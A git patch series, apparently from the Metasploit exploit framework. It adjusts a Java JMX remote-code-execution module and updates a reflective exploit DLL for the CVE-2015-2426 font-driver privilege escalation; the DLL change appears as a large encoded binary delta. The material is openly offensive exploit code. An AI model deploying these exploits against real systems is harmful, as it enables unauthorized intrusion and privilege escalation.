=?UTF-8?q?Hans-Martin=20M=C3=BCnch=20=28h0ng10=29?= <muench@mogwaisecurity.de> Date: Sat, 12 Sep 2015 19:42:31 +0200 Subject: [PATCH 0621/2172] Webserver starts at the beginning, stops at the end --- modules/exploits/multi/misc/java_jmx_server.rb | 11 +++++------ 1 file changed, 5 insertions(+), 6 deletions(-) diff --git a/modules/exploits/multi/misc/java_jmx_server.rb b/modules/exploits/multi/misc/java_jmx_server.rb index b2d1ab2b25..08d8ff79de 100644 --- a/modules/exploits/multi/misc/java_jmx_server.rb +++ b/modules/exploits/multi/misc/java_jmx_server.rb @@ -120,6 +120,9 @@ class Metasploit3 < Msf::Exploit::Remote end def exploit + vprint_status("Starting service...") + start_service + @mlet = "MLet#{rand_text_alpha(8 + rand(4)).capitalize}" connect @@ -165,6 +168,8 @@ class Metasploit3 < Msf::Exploit::Remote method: 'run' ) disconnect + vprint_status("Stopping service...") + stop_service end def is_rmi? @@ -242,9 +247,6 @@ class Metasploit3 < Msf::Exploit::Remote end def load_payload_from_url(conn_stub) - vprint_status("Starting service...") - start_service - vprint_status("#{peer} - Creating javax.management.loading.MLet MBean...") begin @@ -308,9 +310,6 @@ class Metasploit3 < Msf::Exploit::Remote rescue ::Rex::Proto::Rmi::Exception => e vprint_error("#{peer} - invoke() returned unexpected exception: #{e.message}") return false - ensure - vprint_status("Stopping service...") - stop_service end if res.nil? From 9626596f85b2e631487320c9a892505dceb3823e Mon Sep 17 00:00:00 2001 From: jvazquez-r7 <juan_vazquez@rapid7.com> Date: Sat, 12 Sep 2015 13:43:05 -0500 Subject: [PATCH 0622/2172] Clean template code --- .../CVE-2015-2426/reflective_dll.x64.dll | Bin 870912 -> 870912 bytes .../windows/local/ms15_078_atmfd_bof.rb | 59 +++++------------- 2 files changed, 15 insertions(+), 44 deletions(-) diff --git a/data/exploits/CVE-2015-2426/reflective_dll.x64.dll b/data/exploits/CVE-2015-2426/reflective_dll.x64.dll index f48a457dc1369c1cf9b93d260ffafa6a4e2d2cdf..e180fabd7942303a68d64e722100edb5489c2a83 100755 GIT binary patch delta 13092 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 MbCrEdto+&k1BCM)C;$Ke delta 13005 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 